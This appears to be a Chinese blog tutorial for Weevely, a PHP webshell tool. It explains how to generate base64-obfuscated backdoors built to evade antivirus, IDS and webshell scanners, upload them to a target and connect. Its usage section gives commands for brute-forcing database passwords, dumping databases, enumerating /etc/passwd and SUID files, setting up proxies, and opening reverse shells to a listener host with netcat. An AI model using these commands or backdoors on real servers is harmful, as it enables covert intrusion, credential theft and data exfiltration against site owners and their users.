Weevely(PHP菜刀)

简介

  • weevely项目地址:点击查看
    weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

    weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

安装运行

Linux

  • (python2.7版本的Debian/Ubuntu)
    1
    2
    $sudo apt-get install g++ python-pip libyaml-dev python-dev
    $sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

OS X

1
2
3
4
$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

Windows

1
pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

使用方法

  • windows

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    > python weevely.py
    [+] weevely 3.5
    [!] Error: too few arguments

    [+] Run terminal to the target
    weevely <URL> <password> [cmd]

    [+] Load session file
    weevely session <path> [cmd]

    [+] Generate backdoor agent
    weevely generate <password> <path>
  • Linux

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ~# weevely 
    [+] weevely 3.2.0
    [!] Error: too few arguments

    [+] Run terminal to the target
    weevely <URL> <password> [cmd]

    [+] Load session file
    weevely session <path> [cmd]

    [+] Generate backdoor agent
    weevely generate <password> <path>

生成后门木马

1
2
3
4
生成PHP后门:weevely.py generate [password] [back_door_path]

> weevely.py generate a backdoor.php #生成一个密码为 a 的php木马
Generated backdoor with password 'a' in 'backdoor.php' of 1462 byte size.

连接后门木马

1
2
3
4
5
6
7
8
9
10
11
12
13
连接PHP后门:weevely.py URL [password] [cmd]    #其中cmd为可选
#把生成好的马儿上传到目标服务器上哦!

> weevely.py http://127.0.0.1/backdoor.php a
[+] weevely 3.5

[+] Target: 127.0.0.1
[+] Session: C:\Users\Evi1m4n/.weevely/sessions/127.0.0.1\backdoor_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely>

模块说明

手册

>> weevely > help

- 系统:                             
    | :system.info            // 收集系统信息  

- 枚举:                                
    | :audit_userwebfiles  // 列举常见的Web文件
    | :audit_etcpasswd     // 枚举/etc/passwd                                      
    | :audit_userfiles     // 列举用户/home下具有权限的文件                          
    | :audit_mapwebfiles   // 枚举任意Web站点的URL链接                              
- shell:
    | :shell_php           // 编写php文件                                       
    | :shell_sh            // 编写系统脚本                                                                      

- 查找:                                
    | :find.webdir         // 查找可写的web目录
    | :find.name            // 按名称查找文件和目录
    | :find_suidsgid       // 查找SUID / SGID文件和目录                         
    | :find_perms          // 查找权限可读/写/可执行文件和目录                    

- 后门:
    | :backdoor_tcp        // TCP端口后门                                       
    | :backdoor_reversetcp // 反弹TCP连接 
    | :backdoor_install    // 安装后门
- 暴破:                                     
    | :bruteforce_sql      // 爆破指定数据库用户名密码                            
    | :bruteforce_sqlusers // 爆破所有数据库用户密码 
    | :bruteforce_ftp      // 暴力破解单一FTP用户        
    | :bruteforce_ftp_users// 暴力破解FTP密码                                    
- 文件:
    | :file_upload         // 上传本地文件                                       
    | :file_upload2web     // 上传二进制/ ASCII文件至目标站点文件夹并枚举URL       
    | :file_enum           // 在本地词表的书面枚举远程文件                        
    | :file_read           // 读文件                                            
    | :file_rm             // 删除文件                                          
    | :file_check          // 检查远程文件的状态(md5值,大小,权限等)            
    | :file_download       // 下载远程二进制/ ASCII文件到本地                    
- SQL:
    | :sql_console         // 启动SQL控制台                                      
    | :sql_dump            // 备份数据库,即脱库                                  
    | :sql.query           // 执行SQL查询
    | :sql.summary         // 获取SQL数据库中的表和列

    | :net_scan            // 端口扫描                                           
    | :net_phpproxy        // 安装远程php代理                                   
    | :net_ifaces          // 显示远程主机网络接口信息                             
    | :net_proxy           // 安装隧道通信代理                                    

使用

  • MySQL || postgresql爆破

    :bruteforce_sql mysql -users root -fpwds C:\weevely3-master\list.txt
    :bruteforce_sql mysql -users root -pwds root -hostname 127.0.0.1
     #-fpwds和-fusers是本地的字典文件路径
    
  • 连接mysql数据库

    :sql_console -user [username] -passwd [passwd] -host [target]
    :sql_console -u [username] -p [passwd]
    
    :sql_console -user root -passwd root -host 127.0.0.1
    :sql_console -u root -p root
    (组合键Ctrl+D退出sql_console回到原来的shell)
    
  • 使用:sql_dump拖库:支持MySQL、postgresql、sqlite和dblib

    :sql_dump -dbms mysql -host localhost -lpath 1.sql sqls root root
    
  • 使用:shell_php模块执行PHP命令。

    :shell_php phpinfo();
    :shell_php echo exec("whoami");                           
    
  • 反弹shell

    #也可以使用-vector参数指定其他的 -vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
    
    获取一个反向TCP shell
    :backdoor_reversetcp 192.168.15.xxx 8001
    本地监听:nc -vv -l -p 8001
    
    反弹一个TCP端口回来:
    :backdoor_tcp 8001 -no-autonnect   
    本地监听:nc -vv 192.168.15.xxx -p 8001        
    

  • 还有很多猥琐思路,请君慢慢摸索!(使用笔记,仅供参考)
-------------本文结束感谢您的阅读-------------
帮助别人,快乐自己,打赏随意!